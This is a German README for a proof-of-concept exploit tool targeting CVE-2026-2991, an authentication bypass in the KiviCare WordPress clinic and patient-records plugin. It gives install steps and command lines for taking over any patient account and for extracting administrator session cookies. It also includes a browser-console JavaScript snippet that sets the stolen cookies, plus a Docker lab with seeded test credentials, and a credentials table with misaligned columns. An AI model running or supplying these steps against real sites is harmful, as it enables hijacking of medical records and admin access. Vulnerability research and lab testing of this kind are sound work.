
PoC-Exploit für CVE-2026-2991 — Authentifizierungsumgehung im KiviCare-WordPress-Plugin (≤4.1.2), die es nicht authentifizierten Angreifern ermöglicht, Patienten-Konten zu übernehmen und Admin-Sitzungen zu extrahieren.
CVE-2026-2991 ist eine Schwachstelle zur Umgehung der Authentifizierung im KiviCare – Clinic & Patient Management System (EHR)-WordPress-Plugin, die alle Versionen bis einschließlich 4.1.2 betrifft.
Das Plugin stellt einen öffentlichen REST-Endpunkt unter /wp-json/kivicare/v1/auth/patient/social-login bereit, der Benutzer über Social Login authentifiziert. Die Funktion patientSocialLogin() akzeptiert eine E-Mail-Adresse und ein Zugriffstoken, validiert das Token jedoch niemals gegenüber dem angegebenen Social-Provider. Jeder nicht authentifizierte Angreifer kann sich als beliebiger registrierter Patient anmelden, indem er lediglich eine E-Mail-Adresse und eine beliebige Zeichenkette als Token angibt.
Darüber hinaus werden die WordPress-Authentifizierungscookies vor der Überprüfung der Patientenrolle ausgestellt. Das bedeutet, dass die Antwort für Nicht-Patientenkonten (einschließlich Administratoren) HTTP 403 zurückgibt, aber dennoch gültige Set-Cookie-Header enthält – wodurch eine wiederverwendbare Admin-Sitzung an den Angreifer gelangt.
Betroffene Versionen: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
Umgehen Sie die Authentifizierung für einen registrierten Patienten. Das Skript gibt dessen vollständige Sitzung zurück, einschließlich eines Nonce und wiederverwendbarer Cookies.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Geben Sie die E-Mail-Adresse eines beliebigen Nicht-Patienten-Benutzers an (z. B. eines Administrators). Der Endpunkt stellt gültige Auth-Cookies vor der Rollenprüfung aus und gibt 403 zurück – diese Cookies werden extrahiert und ausgegeben.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

Nach einem erfolgreichen Lauf gibt das Skript ein JavaScript-Snippet aus. Öffnen Sie die Zielwebsite in Ihrem Browser, fügen Sie das Snippet in die Browser-Konsole ein (F12 → Konsole) und drücken Sie die Eingabetaste – es setzt die gestohlenen Cookies und navigiert Sie automatisch zum Dashboard.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
Eine eigenständige Docker-Compose-Umgebung, in der das verwundbare Plugin vorinstalliert und mit realistischen Testdaten befüllt ist. Weitere Details finden Sie in DOCKER.md.
cd docker/
docker compose up
Die Testumgebung legt beim ersten Start die folgenden Konten an:
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
Dieses Tool wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
| Rolle | Benutzername | Passwort |
|---|
| Admin | admin | [email protected] | admin |
| Arzt | dr.harris | [email protected] | Doctor@123 |
| Arzt | dr.chen | [email protected] | Doctor@123 |
| Arzt | dr.okonkwo | [email protected] | Doctor@123 |
| Patient | james.ford | [email protected] | Patient@123 |
| Patient | sofia.reyes | [email protected] | Patient@123 |
| Patient | oliver.knight | [email protected] | Patient@123 |
| Patient | amara.diallo | [email protected] | Patient@123 |
| Patient | dan.walsh | [email protected] | Patient@123 |